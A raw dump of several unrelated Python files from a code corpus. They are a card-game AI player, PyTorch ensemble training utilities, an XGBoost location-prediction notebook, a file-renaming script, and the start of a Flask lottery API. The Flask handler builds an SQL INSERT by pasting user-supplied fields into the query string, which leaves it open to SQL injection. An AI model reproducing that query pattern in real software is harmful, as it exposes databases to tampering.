select_winner\n\n\nclass EpsGreedyPlayer(BasePlayer):\n\n def __init__(self, epsilon):\n super().__init__()\n self.epsilon = epsilon\n self.name = 'EpsGreedyPlayer'\n\n def choose_card(self) -> int:\n if self.epsilon > random():\n return randint(0, len(self.hand)-1)\n return self.greedy_action()\n\n def greedy_action(self):\n im_first = self.get_public_state().order[0] == self.name\n if im_first:\n return self.card_min_points()\n else:\n return self.card_max_gain()\n\n def card_max_gain(self):\n i_max = -1\n max_gain = -100\n state = self.get_public_state()\n table = state.table[:]\n table.append(None)\n for i, c in enumerate(self.hand):\n table[-1] = c\n winner = select_winner(table, state.briscola)\n coef_pts = 1 if winner else -1\n gain = coef_pts * sum(map(lambda c: c.points, table))\n if gain > max_gain:\n i_max = i\n max_gain = gain\n return i_max\n\n def card_min_points(self):\n i_min = -1\n min_pts = 1000\n for i, c in enumerate(self.hand):\n if c.points < min_pts:\n i_min = i\n min_pts = c.points\n return i_min\n","sub_path":"briscola/player/epsgreedy_player.py","file_name":"epsgreedy_player.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"439953681","text":"import torch\nimport time\nimport copy\nfrom torch import nn\nfrom torch.optim import lr_scheduler, Adam\nimport torch.nn.functional as F\nimport numpy as np\nfrom sklearn.metrics import mean_squared_error\n\ndef train_model_snapshot(model, criterion, metric, lr, dataloaders, dataset_sizes, device, num_cycles, num_epochs_per_cycle, n_extra):\n since = time.time()\n \n best_model_wts = copy.deepcopy(model.state_dict())\n best_loss = 1000000.0\n model_w_arr = []\n optimizer = Adam(model.parameters(), lr=lr)\n for cycle in range(num_cycles):\n scheduler = lr_scheduler.CosineAnnealingLR(optimizer, num_epochs_per_cycle)\n for epoch in range(num_epochs_per_cycle):\n print('Cycle {}: Epoch {}/{}'.format(cycle, epoch, num_epochs_per_cycle - 1))\n print('-' * 10)\n \n # Each epoch has a training and validation phase\n for phase in ['train', 'val']:\n if phase == 'train':\n model.train() # Set model to training mode\n else:\n model.eval() # Set model to evaluate mode\n \n running_loss = np.zeros((3,))\n \n # Iterate over data.\n for inputs, targets, masks, idx, errors, snr in dataloaders[phase]:\n inputs = inputs.to(device)\n targets = targets.to(device)\n masks = masks.to(device)\n idx = idx.to(device)\n errors = errors.to(device)\n snr = snr.to(device)\n targets = targets.reshape(-1, 5)\n errors = errors.reshape(-1, 5)\n \n # zero the parameter gradients\n optimizer.zero_grad()\n \n # forward\n with torch.set_grad_enabled(phase == 'train'):\n outputs = model(inputs, masks, idx)\n loss = criterion(outputs, targets, errors, snr)\n metric_loss = metric(outputs[:,:3], targets[:,:3])\n # backward + optimize only if in training phase\n if phase == 'train':\n loss.backward()\n optimizer.step()\n \n # statistics\n running_loss += metric_loss.sum(0).detach().cpu().numpy()\n \n epoch_loss = np.sqrt(running_loss / (dataset_sizes[phase]*68)).mean()\n if phase == 'val':\n scheduler.step()#epoch_loss)\n \n print('{} Loss: {:.4f}'.format(\n phase, epoch_loss))\n \n # deep copy the model\n if phase == 'val' and epoch_loss < best_loss:\n best_loss = epoch_loss\n print()\n # deep copy snapshot\n model_w_arr.append(copy.deepcopy(model.state_dict()))\n \n ensemble_loss = np.zeros((3,))\n \n val_pred = torch.zeros((dataset_sizes['val']*68, 3)).float()\n val_target = torch.zeros((dataset_sizes['val']*68, 3)).float()\n #predict on validation using snapshots\n i = 0\n for inputs, targets, masks, idx, _, _ in dataloaders['val']:\n inputs = inputs.to(device)\n targets = targets.to(device)\n masks = masks.to(device)\n idx = idx.to(device)\n targets = targets.reshape(-1, 5)\n \n # forward\n for weights in model_w_arr:\n model.load_state_dict(weights)\n model.eval()\n val_pred[i:i+inputs.shape[0]*68] += model(inputs, masks, idx).detach().cpu()[:,:3] / len(model_w_arr)\n \n val_target[i:i+inputs.shape[0]*68] = targets.detach().cpu()[:,:3]\n \n i += inputs.shape[0]*68\n \n #test time augmentation averaging\n n = val_pred.shape[0]//n_extra\n \n avg_val_pred = torch.zeros((n, 3)).float()\n avg_target_pred = torch.zeros((n, 3)).float()\n for j in range(0, n, 68):\n k = j*n_extra\n for sh in range(n_extra):\n avg_val_pred[j:j+68] += val_pred[k + 68*sh: k + 68*(sh+1)]/n_extra\n avg_target_pred[j:j+68] += val_target[k + 68*sh: k + 68*(sh+1)]/n_extra\n \n val_pred = avg_val_pred\n val_target = avg_target_pred\n ensemble_loss = torch.sqrt(metric(val_pred, val_target).mean(0)).mean()\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60))\n print('Ensemble Loss : {:4f}, Best val Loss: {:4f}'.format(ensemble_loss, best_loss))\n \n # load snapshot model weights and combine them in array\n model_arr =[]\n for weights in model_w_arr:\n model.load_state_dict(weights) \n model_arr.append(model) \n \n val_pred = val_pred.numpy()\n val_target = val_target.numpy()\n \n return model_arr, ensemble_loss, val_pred, val_target\n\ndef pretrain_model(model, lr, dataloaders, dataset_sizes, device, num_epochs=25):\n since = time.time()\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_acc = 0.0\n \n optimizer = Adam(model.parameters(), lr=lr)\n scheduler = lr_scheduler.CosineAnnealingLR(optimizer, num_epochs)\n criterion = nn.CrossEntropyLoss(reduce = 'none')\n\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1))\n print('-' * 10)\n\n # Each epoch has a training and validation phase\n for phase in ['train', 'val']:\n if phase == 'train':\n model.train() # Set model to training mode\n else:\n model.eval() # Set model to evaluate mode\n\n running_loss = 0.0\n running_corrects = 0\n\n # Iterate over data.\n for inputs, idx, labels, mask in dataloaders[phase]:\n inputs = inputs.to(device)\n labels = labels.to(device)\n idx = idx.to(device)\n mask = mask.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n # track history if only in train\n with torch.set_grad_enabled(phase == 'train'):\n outputs = model.forward_pretrain(inputs, idx)\n _, preds = torch.max(outputs, 1)\n loss = criterion(outputs, labels)\n loss = (loss * mask).sum()/mask.sum()\n\n # backward + optimize only if in training phase\n if phase == 'train':\n loss.backward()\n optimizer.step()\n\n # statistics\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds[:, :107] == labels.data[:, :107])\n if phase == 'train':\n scheduler.step()\n\n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects.double() / (dataset_sizes[phase]*107)\n\n print('{} Loss: {:.4f} Acc: {:.4f}'.format(\n phase, epoch_loss, epoch_acc))\n\n # deep copy the model\n if phase == 'val' and epoch_acc > best_acc:\n best_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n\n print()\n\n time_elapsed = time.time() - since\n print('Training complete in {:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60))\n print('Best val Acc: {:4f}'.format(best_acc))\n\n # load best model weights\n model.load_state_dict(best_model_wts)\n return model\n\ndef test(models_arr, loader, device, n_samples, offset, n_extra):\n res = np.zeros((n_samples*5, 3), dtype = np.float32)\n for model in models_arr:\n model.eval()\n res_arr = []\n for inputs, masks, idx in loader:\n inputs = inputs.to(device)\n masks = masks.to(device)\n idx = idx.to(device)\n # forward\n with torch.set_grad_enabled(False):\n outputs = model(inputs, masks, idx)[:,:3]\n res_arr.append(outputs.detach().cpu().numpy())\n res_arr = np.concatenate(res_arr, axis = 0)\n res += res_arr / len(models_arr)\n \n res_tta = np.zeros((n_samples, 3), dtype = np.float32)\n for j in range(0, n_samples, offset):\n k = j*n_extra\n for sh in range(n_extra):\n res_tta[j:j+offset] += res[k + offset*sh: k + offset*(sh+1)]/n_extra\n return res_tta \n\ndef MCRMSE(y_true, y_pred):\n colwise_mse = torch.mean(torch.square(y_true - y_pred), dim=1)\n return torch.mean(torch.sqrt(colwise_mse), dim=1)\n\n\ndef sn_mcrmse_loss_v2(predict, target, error, signal_to_noise):\n predict = predict.reshape(-1, 68, 5)\n target = target.reshape(-1, 68, 5)\n loss = MCRMSE(target, predict)\n weight = 0.5 * torch.log(signal_to_noise + 1.01)\n loss = (loss * weight).mean()\n return loss\n\ndef snr_mcrmse_loss(predict, target, error, signal_to_noise):\n signal_to_noise = torch.log(signal_to_noise+1.1)/2\n batch_size = target.shape[0]//68\n ###signal_to_noise = signal_to_noise+0.1 #reshape snr?\n eps = F.relu(error - 0.25) #svm tube loss\n l = torch.abs(predict - target)\n l = F.relu(l - eps)\n\n l = l ** 2\n l = l.reshape(batch_size, 68, -1) * signal_to_noise.reshape(batch_size, 1, 1)\n l = l.reshape(batch_size * 68, -1)\n l = l.sum(0) / signal_to_noise.sum().item()\n l = l ** 0.5\n loss = l.mean()\n return loss\n\ndef comp_metric(pred, target):\n return np.mean([np.sqrt(mean_squared_error(pred[:,c], target[:,c])) for c in range(3)])\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"386552062","text":"\n# coding: utf-8\n\n# In[1]:\n\n# %matplotlib inline\n# %config InlineBackend.figure_format = 'retina'\n# %load_ext autoreload\n# %autoreload 2\n\n\n# In[2]:\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib\nimport xgboost\nimport sklearn\nimport pandas_ml as pdml\nimport sys\nimport tqdm\nimport datetime\nimport itertools\nimport os\nfrom pprint import pprint\nimport multiprocessing\n\n# ### Initial Setup\n\n# In[3]:\n\ntrain_set = pd.read_csv('train.csv')\ntrain_set.sort_values('time', inplace=True)\n\n\n# In[4]:\n\ntest_set = pd.read_csv('test.csv')\ntest_set.sort_values('time', inplace=True)\n\n\n# I'm going to use the first 90% of the training set as the training set\n# with cross-validation to select the model, and the last 10% of the\n# training set as the validation set to get an estimate of the\n# generalization error. I don't use the test set at all except to make a\n# prediction to enter into the contest.\n\n# In[5]:\n\nninety_percent_mark = int(train_set.shape[0]*0.9)\ntime_threshold = train_set.time.values[ninety_percent_mark]\n\nvalidation_set = train_set[train_set.time > time_threshold]\ntrain_set = train_set[train_set.time <= time_threshold]\n\n\n# As found in the exploratory section, not all place_ids appear in the\n# validation set (last 10% of the original training set). These places are\n# likely closed, and unlikely to open again in the test set (which is\n# chronologically after the original training set) so I'm going to exclude\n# them from the new training set as well.\n\n# In[6]:\n\ntrain_set.shape\n\n\n# In[7]:\n\nk0 = validation_set.place_id.value_counts()\nbin_freq = pd.DataFrame(data={'place_id': k0.index, 'place_freq': k0.values})\ndel k0\ntrain_set = pd.merge(\n train_set, bin_freq[['place_id']], on='place_id', how='inner')\ntrain_set.shape\n\n\n# So a large portion of the place_ids (and rows) has been removed. This\n# step is optional, but in my tests improves the results substantially.\n\n# ### Create Features\n\n# In[8]:\n\ntrain_set['weekday'] = np.floor((train_set.time.values / 60./24.) % 7.)\ntrain_set['hour'] = np.floor((train_set.time.values / 60.) % 24)\n\ntest_set['weekday'] = np.floor((test_set.time.values / 60./24.) % 7.)\ntest_set['hour'] = np.floor((test_set.time.values / 60.) % 24)\n\nvalidation_set['weekday'] = np.floor(\n (validation_set.time.values / 60./24.) % 7.)\nvalidation_set['hour'] = np.floor((validation_set.time.values / 60.) % 24)\n\n\n# In[9]:\n\nvalidation_set.head()\n\n\n# In[10]:\n\ntrain_placeid_medians = train_set[\n 'x y place_id'.split()].groupby('place_id').median()\n\n\n# In[13]:\n\n# I'm not sure why, but calculating the IQR is extremely slow. This bit\n# caches it.\n\nif os.path.isfile('place_id_IQR.pickle'):\n train_placeid_IQR = pd.read_pickle('place_id_IQR.pickle')\nelse:\n train_placeid_IQR = (train_set['x y place_id'.split()].groupby('place_id').quantile(0.75)\n - train_set['x y place_id'.split()].groupby('place_id').quantile(0.25))\n pd.to_pickle('place_id_IQR.pickle')\n\n\n# ### Bin and Fit using XGBoost\n\n# In[15]:\n\nXSIZE = 10.\nYSIZE = 10.\n\n# number of predictions to make\nK = 3\n\n\n# In[16]:\n\ndef map3precision(truthvalues, predictions):\n '''\n This is a faster implementation of MAP@3 valid for numpy arrays.\n It is only valid when there is one single truth value.\n '''\n\n z = (predictions == truthvalues[:, None]).astype(np.float32)\n weights = 1./(np.arange(predictions.shape[1], dtype=np.float32) + 1.)\n z = z * weights[None, :]\n return np.mean(np.sum(z, axis=1))\n\n\n# In[17]:\n\n\n# In[18]:\n\nif not os.path.isdir('bin_results_2'):\n try:\n os.mkdir('bin_results_2')\n except OSError as e:\n print(e)\n\n\n# In[33]:\n\ndef get_top_k_place_ids_per_bin(NX=50, NY=150, eta=0.1, S_SQRT_B_CUT=-0.5, num_estimators=400, gamma=0.0, max_depth=6,\n subsample=0.8, L1_reg=0.2, L2_reg=0.5, colsample_bytree=0.8, subset=True,\n batchMode=False, njobs=12, ijob=None):\n global test_set_predictions_per_bin, map_at_3\n\n test_set_predictions_per_bin = []\n map_at_3 = np.zeros((NX, NY), dtype=np.float32) - 1.0\n\n deltaX = XSIZE / NX\n deltaY = YSIZE / NY\n\n x_left_bin_edges = np.arange(0, XSIZE, deltaX)\n y_left_bin_edges = np.arange(0, YSIZE, deltaY)\n xgrid, ygrid = np.meshgrid(x_left_bin_edges, y_left_bin_edges)\n\n p = int((NX*NY)/100)\n\n i_filename = itertools.cycle(\n ('checkpoints/test_1.csv', 'checkpoints/test_2.csv'))\n\n rs = np.random.RandomState()\n\n if batchMode:\n assert(type(ijob) is int)\n assert((ijob >= 0) and (ijob < njobs))\n bins = np.arange(NX*NY)\n bin_iter = tqdm.tqdm(np.array_split(bins, njobs)[ijob])\n elif subset:\n bin_iter = tqdm.tqdm(rs.randint(0, NX*NY, size=int(NX*NY/100)))\n else:\n bin_iter = tqdm.tqdm(range(NX*NY))\n\n for i_bin in bin_iter:\n if i_bin < len(test_set_predictions_per_bin) and map_at_3.ravel()[i_bin] >= 0.:\n continue\n\n x_lower_ = xgrid.ravel()[i_bin]\n y_lower_ = ygrid.ravel()[i_bin]\n\n x_upper_ = x_lower_ + deltaX\n y_upper_ = y_lower_ + deltaY\n\n x_mid = (x_lower_ + x_upper_)/2.\n y_mid = (y_lower_ + y_upper_)/2.\n\n # this block chops up the original datasets into datasets only for this\n # bin\n bin_train_set = train_set[(train_set.x >= x_lower_)\n & (train_set.x <= x_upper_)\n & (train_set.y >= y_lower_)\n & (train_set.y <= y_upper_)].copy()\n bin_validation_set = validation_set[(validation_set.x >= x_lower_)\n & (validation_set.x <= x_upper_)\n & (validation_set.y >= y_lower_)\n & (validation_set.y <= y_upper_)].copy()\n bin_test_set = (test_set[(test_set.x >= x_lower_)\n & (test_set.x <= x_upper_)\n & (test_set.y >= y_lower_)\n & (test_set.y <= y_upper_)]).copy()\n\n # This is an elliptical distance, with different metrics in x and y due to different\n # standard deviations in x and y. While the factor of 4 is arbitrary, some quick tests\n # indicated it approximately maximizes the feature_importances_\n #\n # You can think of this as an ad-hoc, computationally cheap kernel for kernel SVM.\n # The points used as origins for distances are marked with 'X'\n #\n # X------------------X\n # | |\n # | X |\n # | |\n # X------------------X\n #\n\n bin_train_set['r2_1'] = (\n (bin_train_set.x-x_lower_)**2. / 4. + (bin_train_set.y-y_lower_)**2.)\n bin_test_set['r2_1'] = (\n (bin_test_set.x-x_lower_)**2. / 4. + (bin_test_set.y-y_lower_)**2.)\n bin_validation_set['r2_1'] = (\n (bin_validation_set.x-x_lower_)**2. / 4. + (bin_validation_set.y-y_lower_)**2.)\n\n bin_train_set['r2_2'] = (\n (bin_train_set.x-x_upper_)**2. / 4. + (bin_train_set.y-y_lower_)**2.)\n bin_test_set['r2_2'] = (\n (bin_test_set.x-x_upper_)**2. / 4. + (bin_test_set.y-y_lower_)**2.)\n bin_validation_set['r2_2'] = (\n (bin_validation_set.x-x_upper_)**2. / 4. + (bin_validation_set.y-y_lower_)**2.)\n\n bin_train_set['r2_3'] = (\n (bin_train_set.x-x_upper_)**2. / 4. + (bin_train_set.y-y_upper_)**2.)\n bin_test_set['r2_3'] = (\n (bin_test_set.x-x_upper_)**2. / 4. + (bin_test_set.y-y_upper_)**2.)\n bin_validation_set['r2_3'] = (\n (bin_validation_set.x-x_upper_)**2. / 4. + (bin_validation_set.y-y_upper_)**2.)\n\n bin_train_set['r2_4'] = (\n (bin_train_set.x-x_lower_)**2. / 4. + (bin_train_set.y-y_upper_)**2.)\n bin_test_set['r2_4'] = (\n (bin_test_set.x-x_lower_)**2. / 4. + (bin_test_set.y-y_upper_)**2.)\n bin_validation_set['r2_4'] = (\n (bin_validation_set.x-x_lower_)**2. / 4. + (bin_validation_set.y-y_upper_)**2.)\n\n bin_train_set['r2_5'] = (\n (bin_train_set.x-x_mid)**2. / 4. + (bin_train_set.y-y_mid)**2.)\n bin_test_set['r2_5'] = (\n (bin_test_set.x-x_mid)**2. / 4. + (bin_test_set.y-y_mid)**2.)\n bin_validation_set['r2_5'] = (\n (bin_validation_set.x-x_mid)**2. / 4. + (bin_validation_set.y-y_mid)**2.)\n\n # this block limits the number of place_ids via a signal/sqrt(N)\n k0 = bin_train_set.place_id.value_counts()\n bin_train_freq = pd.DataFrame(\n data={'place_id': k0.index, 'place_freq': k0.values})\n bin_train_freq.sort_values('place_freq', ascending=False, inplace=True)\n bin_train_set = pd.merge(bin_train_set, bin_train_freq)\n# del k0\n s_over_sqrt_b = (bin_train_freq.place_freq.values\n / np.array(np.cumsum(bin_train_freq.place_freq.values), dtype=np.float32) ** 0.5)\n bin_train_freq = bin_train_freq[s_over_sqrt_b >= 10.**S_SQRT_B_CUT]\n bin_train_set_trimmed = pd.merge(bin_train_set, bin_train_freq)\n\n for i_feature, feature_place_id in enumerate(bin_train_freq.place_id.values):\n # column_title_x = 'x_f_{0}'.format(feature_place_id)\n # column_title_y = 'y_f_{0}'.format(feature_place_id)\n column_title_r = 'r_f_{0}'.format(feature_place_id)\n column_title_r2 = 'r2_f_{0}'.format(feature_place_id)\n\n xmedian = train_placeid_medians.ix[feature_place_id].x\n xIQR = train_placeid_IQR.ix[feature_place_id].x\n\n ymedian = train_placeid_medians.ix[feature_place_id].y\n yIQR = train_placeid_IQR.ix[feature_place_id].y\n\n # Analagous to a non-parametric Z-score\n # bin_train_set_trimmed[column_title_x] = ((bin_train_set_trimmed.x - xmedian)/xIQR)\n # bin_train_set_trimmed[column_title_y] = ((bin_train_set_trimmed.y\n # - ymedian)/yIQR)\n\n bin_train_set_trimmed[column_title_r2] = (((bin_train_set_trimmed.x - xmedian)/xIQR)**2.\n + ((bin_train_set_trimmed.y - ymedian)/yIQR)**2.)\n bin_train_set_trimmed[column_title_r] = (\n bin_train_set_trimmed[column_title_r2])**0.5\n\n # bin_validation_set[column_title_x] = ((bin_validation_set.x - xmedian)/xIQR)\n # bin_validation_set[column_title_y] = ((bin_validation_set.y -\n # ymedian)/yIQR)\n\n bin_validation_set[column_title_r2] = (((bin_validation_set.x - xmedian)/xIQR)**2.\n + ((bin_validation_set.y - ymedian)/yIQR)**2.)\n bin_validation_set[column_title_r] = (\n bin_validation_set[column_title_r2])**0.5\n\n # bin_test_set[column_title_x] = ((bin_test_set.x - xmedian)/xIQR)\n # bin_test_set[column_title_y] = ((bin_test_set.y - ymedian)/yIQR)\n\n bin_test_set[column_title_r2] = (((bin_test_set.x - xmedian)/xIQR)**2.\n + ((bin_test_set.y - ymedian)/yIQR)**2.)\n bin_test_set[column_title_r] = (bin_test_set[column_title_r2])**0.5\n\n columnList = bin_train_set_trimmed.columns.values.tolist()\n for x in ('row_id', 'place_id', 'place_freq'):\n columnList.remove(x)\n\n bin_train_set_trimmed.sort_values('row_id', inplace=True)\n bin_train_set.sort_values('row_id', inplace=True)\n\n xgb_classifier = xgboost.XGBClassifier(objective='multi:softprob', n_estimators=num_estimators, max_depth=max_depth, gamma=gamma,\n learning_rate=eta, subsample=subsample, nthread=multiprocessing.cpu_count(\n ),\n reg_alpha=L2_reg, reg_lambda=L1_reg,\n colsample_bytree=colsample_bytree)\n\n k = xgb_classifier.fit(bin_train_set_trimmed[columnList], bin_train_set_trimmed['place_id'], eval_metric='map@3-',\n verbose=True)\n\n # pprint(zip(columnList, k.feature_importances_))\n\n bin_vali_predictions = k.classes_.take(np.argsort(k.predict_proba(\n bin_validation_set[columnList]), axis=1)[:, -3:][:, ::-1])\n bin_vali_truthvalues = bin_validation_set.place_id.values\n\n map_at_3.ravel()[i_bin] = map3precision(\n bin_vali_truthvalues, bin_vali_predictions)\n print((map_at_3.ravel()[i_bin], np.mean(map_at_3[map_at_3 > 0.])))\n\n if subset:\n current_map3 = map_at_3[map_at_3 > 0.]\n current_mean_map3 = np.mean(current_map3)\n n_iter_complete = current_map3.ravel().shape[0]\n amount_complete = n_iter_complete / (float(NX*NY)/100.)\n\n lookup_table = [(0.1, 0.45), (0.2, 0.47),\n (0.3, 0.49), (0.4, 0.50),\n (0.5, 0.51)]\n\n for l in lookup_table:\n if amount_complete > l[0] and current_mean_map3 < l[1]:\n print(\"Returning early at {0}\".format(l[0]))\n return current_mean_map3\n\n bin_test_predictions = k.classes_.take(np.argsort(k.predict_proba(\n bin_test_set[columnList]), axis=1)[:, -3:][:, ::-1])\n\n bin_test_set['id_1'] = bin_test_predictions[:, 0]\n bin_test_set['id_2'] = bin_test_predictions[:, 1]\n bin_test_set['id_3'] = bin_test_predictions[:, 2]\n\n test_set_predictions_per_bin.append(\n bin_test_set['row_id id_1 id_2 id_3'.split()])\n\n if batchMode:\n (bin_test_set['id_1 id_2 id_3'.split()]).to_csv(\n 'bin_results_2/bin_{0:05d}.csv'.format(i_bin))\n\n elif i_bin % p == 0:\n dt = datetime.datetime.now()\n pd.concat(test_set_predictions_per_bin).to_csv(i_filename.next())\n np.save(\n 'checkpoints/test_{0}.npy'.format(dt.strftime('%qY%m%d-%H%M')), map_at_3)\n pass\n\n print(\"Full Grid MAP@3: {0:.3f}\".format(np.mean(map_at_3[map_at_3 > 0])))\n\n return np.mean(map_at_3[map_at_3 > 0])\n\n\n# In[20]:\n\n\n\ndef get_params_random(seed=0):\n def getargs(**kwargs):\n return kwargs\n\n yield getargs(NX=50, NY=150, eta=0.05, S_SQRT_B_CUT=-0.5, num_estimators=100, gamma=0.03, max_depth=3,\n subsample=1., L1_reg=1, L2_reg=0.2, colsample_bytree=1.)\n\n r = np.random.RandomState(seed)\n while True:\n # NX=50, NY=150, eta=0.05, S_SQRT_B_CUT=-0.1, num_estimators=50, gamma=0.0, max_depth=5,\n # subsample=0.8, L1_reg=0.3, L2_reg=2.1, colsample_bytree=0.8\n\n j = {}\n j['NX'] = r.randint(50, 120)\n j['NY'] = r.randint(80, 120)\n j['eta'] = r.uniform(0.03, 0.4)\n j['S_SQRT_B_CUT'] = r.uniform(-1.5, -0.1)\n j['num_estimators'] = int(r.gamma(2, 100))\n j['gamma'] = r.uniform(0.0, 0.1)\n j['max_depth'] = r.randint(3, 5)\n j['subsample'] = r.uniform(0.7, 1.0)\n j['L1_reg'] = r.exponential(.5)\n j['L2_reg'] = r.exponential(.3)\n j['colsample_bytree'] = r.uniform(0.7, 1.0)\n\n yield j\n\nm = get_params_random(10)\n\n\n# In[21]:\n\n# import IPython\n# get_ipython().system(u'touch cv_gridsearch.json')\n\n\n# In[22]:\n\n# I had previously set this to true. Please check the 'cv_gridsearch.json'\n# for results\ndo_grid_search = False\nimport json\n\nif do_grid_search:\n fh = open('cv_gridsearch.json', 'a')\n for i in range(10000):\n params = m.next()\n\n print(params)\n sys.stdout.flush()\n\n cv_map3 = get_top_k_place_ids_per_bin(subset=True, **params)\n print(\"Found MAP@3: {0:0.4f}\".format(cv_map3))\n sys.stdout.flush()\n\n params['MAP3'] = cv_map3\n\n fh.write(str(params))\n fh.write('\\n')\n fh.flush()\n\n fh.close()\n\n\n# In[23]:\n\n# test_set_predictions_per_bin = []\n# map_at_3 = np.zeros((NX, NY), dtype=np.float32) - 1.0\n\n\n# In[24]:\n\n# get_top_k_place_ids_per_bin(**{'num_estimators': 103,\n# 'colsample_bytree': 0.8078523701721357,\n# 'subsample': 0.8850801990624271,\n# 'NX': 50, 'NY': 100,\n# 'eta': 0.0995807528416108,\n# 'S_SQRT_B_CUT': -1.4624203991272897,\n# 'L1_reg': 1.1511660314964094,\n# 'max_depth': 3,\n# 'gamma': 0.029934973436736637,\n# 'L2_reg': 0.4580555834601505,\n# 'subset': True})\n\n\n# In[25]:\n\n# test_set_predictions_per_bin = []\n# map_at_3 = np.zeros((NX, NY), dtype=np.float32) - 1.0\n\n\n# In[26]:\n\n# get_top_k_place_ids_per_bin(**{'num_estimators': 300,\n# 'colsample_bytree': 0.8078523701721357,\n# 'subsample': 0.8850801990624271,\n# 'NX': 50, 'NY': 100,\n# 'eta': 0.0995807528416108,\n# 'S_SQRT_B_CUT': -1.4624203991272897,\n# 'L1_reg': 1.1511660314964094,\n# 'max_depth': 3,\n# 'gamma': 0.029934973436736637,\n# 'L2_reg': 0.4580555834601505,\n# 'subset': True})\n\n\n# In[27]:\n\nNX=50\nNY=100\n\ntest_set_predictions_per_bin = []\nmap_at_3 = np.zeros((NX, NY), dtype=np.float32) - 1.0\n\n\n# So this next cell was taking substantially longer than I was expecting. My estimates are about two days on 16 cores. I need to run that on a small cluster to finish in time. I control the job with some environment variables when running the ipython `.py` version of this notebook obtained using `jupyter nbconvert`.\n#\n# `XG_NJOBS` controls the number of nodes used. I've set it to `12`.\n#\n# `XG_IJOB` number from 1 to `XG_NJOBS` controlling which subset of the total bins are calculated on the current node.\n\n# In[34]:\n\nsingleNode = False\nif singleNode:\n # these parameters are the result of a stochastic grid search.\n get_top_k_place_ids_per_bin(**{\n 'num_estimators': 53,\n 'colsample_bytree': 0.9249997746310301,\n 'subsample': 0.7692227006220387,\n 'NX': 50,\n 'NY': 100,\n 'eta': 0.0788105517706855,\n 'S_SQRT_B_CUT': -1.3988237698915256,\n 'L1_reg': 0.5791176345857568,\n 'max_depth': 5,\n 'gamma': 0.19510430100057718,\n 'L2_reg': 1.1538446914399978,\n 'subset': False})\n pd.concat(test_set_predictions_per_bin).to_csv('presubmission_01.csv')\nelse:\n njobs = os.environ['XG_NJOBS']\n ijob = os.environ['XG_IJOB']\n\n get_top_k_place_ids_per_bin(\n batchMode=True, njobs=int(njobs), ijob=int(ijob),\n **{\n # slightly tweaked parameters of cv_gridsearch\n #'MAP3': 0.59191203,\n 'num_estimators': 53,\n 'colsample_bytree': 0.9249997746310301,\n 'subsample': 0.7692227006220387,\n 'NX': 50,\n 'NY': 100,\n 'eta': 0.0788105517706855,\n 'S_SQRT_B_CUT': -1.3988237698915256,\n 'L1_reg': 0.5791176345857568,\n 'max_depth': 5,\n 'gamma': 0.19510430100057718,\n 'L2_reg': 1.1538446914399978,\n 'subset': False})\n\n","sub_path":"attic/submission_2_xgboost.py","file_name":"submission_2_xgboost.py","file_ext":"py","file_size_in_byte":19469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"297483274","text":"import os\nfrom dicto import blockDict, itemDict\n\ndef genPath(sub, item):\n return \"assets/minecraft/models/{}/{}.json\".format(sub, item)\n \nfor key, value in blockDict.items():\n try:\n os.rename(genPath(\"block\", value), genPath(\"block\", key))\n print(\"Successfully converted \" + str(value) + \".json to \" + str(key) + \".json\")\n except:\n print(\"An error occured converting \" + str(value) + \".json \" + str(key) + \".json\")\n\nfor key, value in itemDict.items():\n try:\n os.rename(genPath(\"item\", value), genPath(\"item\", key))\n print(\"Successfully converted \" + str(value) + \".json to \" + str(key) + \".json\")\n except:\n print(\"An error occured converting \" + str(value) + \".json to \" + str(key) + \".json\")\n","sub_path":"3. rename json.py","file_name":"3. rename json.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"383487848","text":"import flask\r\nimport lotto\r\nimport xlrd\r\nimport os\r\nimport base64\r\n\r\nfrom lotto.api.aux.model_util import convert_to_model, conv_to_nums, convert_to_ranges\r\nfrom lotto.db import get_db\r\n\r\n\r\n@lotto.app.route('/api/', methods=['GET','POST'])\r\ndef handle_request():\r\n \"\"\"Modify or show db.\"\"\"\r\n db = get_db()\r\n cursor = db.cursor()\r\n if flask.request.method == 'POST':\r\n # add entry to db\r\n year = flask.request.get_json()['year']\r\n date = flask.request.get_json()['date']\r\n combination = flask.request.get_json()['text']\r\n comb_nums = conv_to_nums(combination.split())\r\n model_ranges = convert_to_ranges(comb_nums)\r\n model_str = convert_to_model(comb_nums)\r\n\r\n cursor.execute(\"INSERT INTO combinations(year, date, val1, val2, val3, val4, val5, model, model_ranges)\" +\r\n \"VALUES ('\" + year + \"','\" + date + \"',\" + str(comb_nums[0]) +\r\n \",\" + str(comb_nums[1]) + \",\" + str(comb_nums[2]) +\r\n \",\" + str(comb_nums[3]) + \",\" + str(comb_nums[4]) +\r\n \",'\" + model_str + \"','\" + model_ranges + \"');\"\r\n )\r\n context = {}\r\n context['model'] = model_str\r\n\r\n return flask.jsonify(**context)\r\n else:\r\n context = {}\r\n # get entry\r\n size = flask.request.args.get(\"size\", type=int)\r\n try:\r\n all_entries = cursor.execute(\"SELECT * FROM combinations ORDER BY id DESC\").fetchall()\r\n if size == 0:\r\n # get all entries\r\n context['entries'] = all_entries\r\n elif size > 0:\r\n # adjust if size > num entries\r\n if len(all_entries) < size:\r\n size = len(all_entries)\r\n spec_entries = []\r\n for i in range(size):\r\n spec_entries.append(all_entries[i])\r\n context['entries'] = spec_entries\r\n else: \r\n # catch error\r\n raise Exception\r\n except:\r\n context['entries'] = []\r\n\r\n return flask.jsonify(**context)\r\n\r\n\r\n@lotto.app.route('/excelupload/', methods=['GET','POST'])\r\ndef handle_file_upload():\r\n \"\"\"Add excel 